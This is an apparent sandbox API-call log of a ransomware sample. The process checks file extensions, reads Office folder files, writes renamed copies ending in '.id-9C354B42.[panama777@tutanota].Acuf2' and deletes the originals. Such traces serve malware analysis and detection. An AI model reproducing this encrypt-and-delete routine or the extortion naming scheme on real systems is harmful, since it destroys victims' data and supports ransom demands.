	[0259.960] lstrlenW (lpString=".doc") returned 4
	[0259.960] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1
	[0259.960] lstrlenW (lpString=".docx") returned 5
	[0259.960] lstrcmpiW (lpString1=".docx", lpString2="R.ICO") returned -1
	[0259.960] lstrlenW (lpString=".pdf") returned 4
	[0259.960] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1
	[0259.960] lstrlenW (lpString=".xls") returned 4
	[0259.960] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1
	[0259.960] lstrlenW (lpString=".xlsx") returned 5
	[0259.960] lstrcmpiW (lpString1=".xlsx", lpString2="R.ICO") returned -1
	[0259.960] lstrlenW (lpString=".ppt") returned 4
	[0259.960] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1
	[0259.960] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DataServices\\FOLDER.ICO") returned 71
	[0259.960] lstrlenW (lpString=".zip") returned 4
	[0259.960] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1
	[0259.960] lstrlenW (lpString=".rar") returned 4
	[0259.960] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1
	[0259.961] lstrlenW (lpString=".bz2") returned 4
	[0259.961] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1
	[0259.961] lstrlenW (lpString=".7z") returned 3
	[0259.961] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1
	[0259.961] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DataServices\\FOLDER.ICO") returned 71
	[0259.961] lstrlenW (lpString=".dbf") returned 4
	[0259.961] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1
	[0259.961] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DataServices\\FOLDER.ICO") returned 71
	[0259.961] lstrlenW (lpString=".1cd") returned 4
	[0259.961] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1
	[0259.961] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DataServices\\FOLDER.ICO") returned 71
	[0259.961] lstrlenW (lpString=".jpg") returned 4
	[0259.961] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1
	[0259.961] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DataServices\\FOLDER.ICO") returned 71
	[0259.961] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DataServices\\FOLDER.ICO") returned 71
	[0259.961] lstrlenW (lpString=".doc") returned 4
	[0259.961] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1
	[0259.961] lstrlenW (lpString=".docx") returned 5
	[0259.961] lstrcmpiW (lpString1=".docx", lpString2="R.ICO") returned -1
	[0259.961] lstrlenW (lpString=".pdf") returned 4
	[0259.961] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1
	[0259.961] lstrlenW (lpString=".xls") returned 4
	[0259.961] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1
	[0259.961] lstrlenW (lpString=".xlsx") returned 5
	[0259.961] lstrcmpiW (lpString1=".xlsx", lpString2="R.ICO") returned -1
	[0259.961] lstrlenW (lpString=".ppt") returned 4
	[0259.961] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1
	[0259.961] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DataServices\\FOLDER.ICO") returned 71
	[0259.962] lstrlenW (lpString=".zip") returned 4
	[0259.962] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1
	[0259.962] lstrlenW (lpString=".rar") returned 4
	[0259.962] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1
	[0259.962] lstrlenW (lpString=".bz2") returned 4
	[0259.962] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1
	[0259.962] lstrlenW (lpString=".7z") returned 3
	[0259.962] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1
	[0259.962] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DataServices\\FOLDER.ICO") returned 71
	[0259.962] lstrlenW (lpString=".dbf") returned 4
	[0259.962] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1
	[0259.962] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DataServices\\FOLDER.ICO") returned 71
	[0259.962] lstrlenW (lpString=".1cd") returned 4
	[0259.962] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1
	[0259.962] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DataServices\\FOLDER.ICO") returned 71
	[0259.962] lstrlenW (lpString=".jpg") returned 4
	[0259.962] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1
	[0259.962] lstrcmpiW (lpString1=".gta", lpString2=".Acuf2") returned 1
	[0259.962] lstrlenW (lpString="Discussion.gta") returned 14
	[0259.962] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Discussion.gta" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\discussion.gta"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c
	[0259.976] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x338ff1c | out: lpFileSize=0x338ff1c*=104836) returned 1
	[0259.976] CloseHandle (hObject=0x33c) returned 1
	[0259.976] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Discussion.gta" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\discussion.gta")) returned 0x20
	[0260.013] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Discussion.gta.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\discussion.gta.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0260.013] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Discussion.gta" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\discussion.gta"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354
	[0260.013] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec8 | out: lpNewFilePointer=0x0) returned 1
	[0260.013] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec8 | out: lpNewFilePointer=0x0) returned 1
	[0260.013] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Discussion.gta.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\discussion.gta.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330
	[0260.034] GetLastError () returned 0x0
	[0260.034] ReadFile (in: hFile=0x354, lpBuffer=0x3e40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fed4, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesRead=0x338fed4*=0x19984, lpOverlapped=0x0) returned 1
	[0260.375] WriteFile (in: hFile=0x330, lpBuffer=0x3e40020*, nNumberOfBytesToWrite=0x19990, lpNumberOfBytesWritten=0x338fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesWritten=0x338fc9c*=0x19990, lpOverlapped=0x0) returned 1
	[0260.502] ReadFile (in: hFile=0x354, lpBuffer=0x3e40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fed4, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesRead=0x338fed4*=0x0, lpOverlapped=0x0) returned 1
	[0260.502] WriteFile (in: hFile=0x330, lpBuffer=0x3e40020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x338fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesWritten=0x338fc9c*=0xf0, lpOverlapped=0x0) returned 1
	[0260.502] SetEndOfFile (hFile=0x330) returned 1
	[0260.502] CloseHandle (hObject=0x330) returned 1
	[0260.502] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec8 | out: lpNewFilePointer=0x0) returned 1
	[0260.502] SetEndOfFile (hFile=0x354) returned 1
	[0260.509] CloseHandle (hObject=0x354) returned 1
	[0260.509] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Discussion.gta.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0260.510] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Discussion.gta" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\discussion.gta")) returned 1
	[0260.511] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Discussion.gta") returned 62
	[0260.511] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Discussion.gta") returned 62
	[0260.511] lstrlenW (lpString=".doc") returned 4
	[0260.511] lstrcmpiW (lpString1=".doc", lpString2=".gta") returned -1
	[0260.511] lstrlenW (lpString=".docx") returned 5
	[0260.511] lstrcmpiW (lpString1=".docx", lpString2="n.gta") returned -1
	[0260.511] lstrlenW (lpString=".pdf") returned 4
	[0260.511] lstrcmpiW (lpString1=".pdf", lpString2=".gta") returned 1
	[0260.511] lstrlenW (lpString=".xls") returned 4
	[0260.511] lstrcmpiW (lpString1=".xls", lpString2=".gta") returned 1
	[0260.511] lstrlenW (lpString=".xlsx") returned 5
	[0260.511] lstrcmpiW (lpString1=".xlsx", lpString2="n.gta") returned -1
	[0260.511] lstrlenW (lpString=".ppt") returned 4
	[0260.511] lstrcmpiW (lpString1=".ppt", lpString2=".gta") returned 1
	[0260.511] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Discussion.gta") returned 62
	[0260.511] lstrlenW (lpString=".zip") returned 4
	[0260.511] lstrcmpiW (lpString1=".zip", lpString2=".gta") returned 1
	[0260.511] lstrlenW (lpString=".rar") returned 4
	[0260.511] lstrcmpiW (lpString1=".rar", lpString2=".gta") returned 1
	[0260.511] lstrlenW (lpString=".bz2") returned 4
	[0260.511] lstrcmpiW (lpString1=".bz2", lpString2=".gta") returned -1
	[0260.511] lstrlenW (lpString=".7z") returned 3
	[0260.511] lstrcmpiW (lpString1=".7z", lpString2="gta") returned -1
	[0260.511] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Discussion.gta") returned 62
	[0260.511] lstrlenW (lpString=".dbf") returned 4
	[0260.511] lstrcmpiW (lpString1=".dbf", lpString2=".gta") returned -1
	[0260.511] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Discussion.gta") returned 62
	[0260.511] lstrlenW (lpString=".1cd") returned 4
	[0260.511] lstrcmpiW (lpString1=".1cd", lpString2=".gta") returned -1
	[0260.511] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Discussion.gta") returned 62
	[0260.511] lstrlenW (lpString=".jpg") returned 4
	[0260.512] lstrcmpiW (lpString1=".jpg", lpString2=".gta") returned 1
	[0260.512] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Discussion.gta") returned 62
	[0260.512] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Discussion.gta") returned 62
	[0260.512] lstrlenW (lpString=".doc") returned 4
	[0260.512] lstrcmpiW (lpString1=".doc", lpString2=".gta") returned -1
	[0260.512] lstrlenW (lpString=".docx") returned 5
	[0260.512] lstrcmpiW (lpString1=".docx", lpString2="n.gta") returned -1
	[0260.512] lstrlenW (lpString=".pdf") returned 4
	[0260.512] lstrcmpiW (lpString1=".pdf", lpString2=".gta") returned 1
	[0260.512] lstrlenW (lpString=".xls") returned 4
	[0260.512] lstrcmpiW (lpString1=".xls", lpString2=".gta") returned 1
	[0260.512] lstrlenW (lpString=".xlsx") returned 5
	[0260.512] lstrcmpiW (lpString1=".xlsx", lpString2="n.gta") returned -1
	[0260.512] lstrlenW (lpString=".ppt") returned 4
	[0260.512] lstrcmpiW (lpString1=".ppt", lpString2=".gta") returned 1
	[0260.512] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Discussion.gta") returned 62
	[0260.512] lstrlenW (lpString=".zip") returned 4
	[0260.512] lstrcmpiW (lpString1=".zip", lpString2=".gta") returned 1
	[0260.512] lstrlenW (lpString=".rar") returned 4
	[0260.512] lstrcmpiW (lpString1=".rar", lpString2=".gta") returned 1
	[0260.512] lstrlenW (lpString=".bz2") returned 4
	[0260.512] lstrcmpiW (lpString1=".bz2", lpString2=".gta") returned -1
	[0260.512] lstrlenW (lpString=".7z") returned 3
	[0260.512] lstrcmpiW (lpString1=".7z", lpString2="gta") returned -1
	[0260.512] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Discussion.gta") returned 62
	[0260.512] lstrlenW (lpString=".dbf") returned 4
	[0260.512] lstrcmpiW (lpString1=".dbf", lpString2=".gta") returned -1
	[0260.512] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Discussion.gta") returned 62
	[0260.512] lstrlenW (lpString=".1cd") returned 4
	[0260.512] lstrcmpiW (lpString1=".1cd", lpString2=".gta") returned -1
	[0260.512] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Discussion.gta") returned 62
	[0260.513] lstrlenW (lpString=".jpg") returned 4
	[0260.513] lstrcmpiW (lpString1=".jpg", lpString2=".gta") returned 1
	[0260.513] lstrcmpiW (lpString1=".DLL", lpString2=".Acuf2") returned 1
	[0260.513] lstrlenW (lpString="DWGDPRES.DLL") returned 12
	[0260.513] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DWGDPRES.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\dwgdpres.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330
	[0260.533] GetFileSizeEx (in: hFile=0x330, lpFileSize=0x338ff1c | out: lpFileSize=0x338ff1c*=16224) returned 1
	[0260.533] CloseHandle (hObject=0x330) returned 1
	[0260.534] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DWGDPRES.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\dwgdpres.dll")) returned 0x20
	[0260.541] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DWGDPRES.DLL.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\dwgdpres.dll.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0261.184] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DWGDPRES.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\dwgdpres.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0261.187] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DWGDPRES.DLL") returned 60
	[0261.187] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DWGDPRES.DLL") returned 60
	[0261.187] lstrlenW (lpString=".doc") returned 4
	[0261.187] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1
	[0261.187] lstrlenW (lpString=".docx") returned 5
	[0261.187] lstrcmpiW (lpString1=".docx", lpString2="S.DLL") returned -1
	[0261.187] lstrlenW (lpString=".pdf") returned 4
	[0261.187] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1
	[0261.187] lstrlenW (lpString=".xls") returned 4
	[0261.187] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1
	[0261.187] lstrlenW (lpString=".xlsx") returned 5
	[0261.187] lstrcmpiW (lpString1=".xlsx", lpString2="S.DLL") returned -1
	[0261.187] lstrlenW (lpString=".ppt") returned 4
	[0261.187] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1
	[0261.187] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DWGDPRES.DLL") returned 60
	[0261.187] lstrlenW (lpString=".zip") returned 4
	[0261.187] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1
	[0261.187] lstrlenW (lpString=".rar") returned 4
	[0261.187] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1
	[0261.188] lstrlenW (lpString=".bz2") returned 4
	[0261.188] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1
	[0261.188] lstrlenW (lpString=".7z") returned 3
	[0261.188] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1
	[0261.188] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DWGDPRES.DLL") returned 60
	[0261.188] lstrlenW (lpString=".dbf") returned 4
	[0261.188] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1
	[0261.188] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DWGDPRES.DLL") returned 60
	[0261.188] lstrlenW (lpString=".1cd") returned 4
	[0261.188] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1
	[0261.188] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DWGDPRES.DLL") returned 60
	[0261.188] lstrlenW (lpString=".jpg") returned 4
	[0261.188] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1
	[0261.188] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DWGDPRES.DLL") returned 60
	[0261.188] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DWGDPRES.DLL") returned 60
	[0261.188] lstrlenW (lpString=".doc") returned 4
	[0261.188] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1
	[0261.188] lstrlenW (lpString=".docx") returned 5
	[0261.188] lstrcmpiW (lpString1=".docx", lpString2="S.DLL") returned -1
	[0261.188] lstrlenW (lpString=".pdf") returned 4
	[0261.188] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1
	[0261.188] lstrlenW (lpString=".xls") returned 4
	[0261.188] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1
	[0261.188] lstrlenW (lpString=".xlsx") returned 5
	[0261.188] lstrcmpiW (lpString1=".xlsx", lpString2="S.DLL") returned -1
	[0261.188] lstrlenW (lpString=".ppt") returned 4
	[0261.188] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1
	[0261.188] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DWGDPRES.DLL") returned 60
	[0261.188] lstrlenW (lpString=".zip") returned 4
	[0261.188] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1
	[0261.188] lstrlenW (lpString=".rar") returned 4
	[0261.188] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1
	[0261.189] lstrlenW (lpString=".bz2") returned 4
	[0261.189] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1
	[0261.189] lstrlenW (lpString=".7z") returned 3
	[0261.189] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1
	[0261.189] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DWGDPRES.DLL") returned 60
	[0261.189] lstrlenW (lpString=".dbf") returned 4
	[0261.189] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1
	[0261.189] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DWGDPRES.DLL") returned 60
	[0261.189] lstrlenW (lpString=".1cd") returned 4
	[0261.189] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1
	[0261.189] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DWGDPRES.DLL") returned 60
	[0261.189] lstrlenW (lpString=".jpg") returned 4
	[0261.189] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1
	[0261.189] lstrcmpiW (lpString1=".HXK", lpString2=".Acuf2") returned 1
	[0261.189] lstrlenW (lpString="EXCEL_K_COL.HXK") returned 15
	[0261.189] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel_k_col.hxk"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220
	[0261.189] GetFileSizeEx (in: hFile=0x220, lpFileSize=0x338ff1c | out: lpFileSize=0x338ff1c*=113) returned 1
	[0261.189] CloseHandle (hObject=0x220) returned 1
	[0261.189] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel_k_col.hxk")) returned 0x20
	[0261.190] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_K_COL.HXK.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel_k_col.hxk.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0261.190] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel_k_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220
	[0261.190] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec8 | out: lpNewFilePointer=0x0) returned 1
	[0261.190] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec8 | out: lpNewFilePointer=0x0) returned 1
	[0261.190] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_K_COL.HXK.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel_k_col.hxk.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2a4
	[0261.190] GetLastError () returned 0x0
	[0261.190] ReadFile (in: hFile=0x220, lpBuffer=0x3e40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fed4, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesRead=0x338fed4*=0x71, lpOverlapped=0x0) returned 1
	[0261.191] WriteFile (in: hFile=0x2a4, lpBuffer=0x3e40020*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x338fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesWritten=0x338fc9c*=0x80, lpOverlapped=0x0) returned 1
	[0261.192] ReadFile (in: hFile=0x220, lpBuffer=0x3e40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fed4, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesRead=0x338fed4*=0x0, lpOverlapped=0x0) returned 1
	[0261.192] WriteFile (in: hFile=0x2a4, lpBuffer=0x3e40020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x338fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesWritten=0x338fc9c*=0xf2, lpOverlapped=0x0) returned 1
	[0261.192] SetEndOfFile (hFile=0x2a4) returned 1
	[0261.192] CloseHandle (hObject=0x2a4) returned 1
	[0261.192] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec8 | out: lpNewFilePointer=0x0) returned 1
	[0261.193] SetEndOfFile (hFile=0x220) returned 1
	[0261.195] CloseHandle (hObject=0x220) returned 1
	[0261.195] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_K_COL.HXK.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0261.195] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel_k_col.hxk")) returned 1
	[0261.195] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_K_COL.HXK") returned 63
	[0261.195] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_K_COL.HXK") returned 63
	[0261.195] lstrlenW (lpString=".doc") returned 4
	[0261.195] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1
	[0261.195] lstrlenW (lpString=".docx") returned 5
	[0261.195] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1
	[0261.195] lstrlenW (lpString=".pdf") returned 4
	[0261.195] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1
	[0261.195] lstrlenW (lpString=".xls") returned 4
	[0261.196] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1
	[0261.196] lstrlenW (lpString=".xlsx") returned 5
	[0261.196] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1
	[0261.196] lstrlenW (lpString=".ppt") returned 4
	[0261.196] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1
	[0261.196] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_K_COL.HXK") returned 63
	[0261.196] lstrlenW (lpString=".zip") returned 4
	[0261.196] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1
	[0261.196] lstrlenW (lpString=".rar") returned 4
	[0261.196] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1
	[0261.196] lstrlenW (lpString=".bz2") returned 4
	[0261.196] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1
	[0261.196] lstrlenW (lpString=".7z") returned 3
	[0261.196] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1
	[0261.196] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_K_COL.HXK") returned 63
	[0261.196] lstrlenW (lpString=".dbf") returned 4
	[0261.196] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1
	[0261.196] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_K_COL.HXK") returned 63
	[0261.196] lstrlenW (lpString=".1cd") returned 4
	[0261.196] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1
	[0261.196] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_K_COL.HXK") returned 63
	[0261.196] lstrlenW (lpString=".jpg") returned 4
	[0261.196] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1
	[0261.196] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_K_COL.HXK") returned 63
	[0261.196] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_K_COL.HXK") returned 63
	[0261.196] lstrlenW (lpString=".doc") returned 4
	[0261.196] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1
	[0261.196] lstrlenW (lpString=".docx") returned 5
	[0261.196] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1
	[0261.196] lstrlenW (lpString=".pdf") returned 4
	[0261.196] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1
	[0261.197] lstrlenW (lpString=".xls") returned 4
	[0261.197] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1
	[0261.197] lstrlenW (lpString=".xlsx") returned 5
	[0261.197] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1
	[0261.197] lstrlenW (lpString=".ppt") returned 4
	[0261.197] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1
	[0261.197] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_K_COL.HXK") returned 63
	[0261.197] lstrlenW (lpString=".zip") returned 4
	[0261.197] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1
	[0261.197] lstrlenW (lpString=".rar") returned 4
	[0261.197] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1
	[0261.197] lstrlenW (lpString=".bz2") returned 4
	[0261.197] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1
	[0261.197] lstrlenW (lpString=".7z") returned 3
	[0261.197] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1
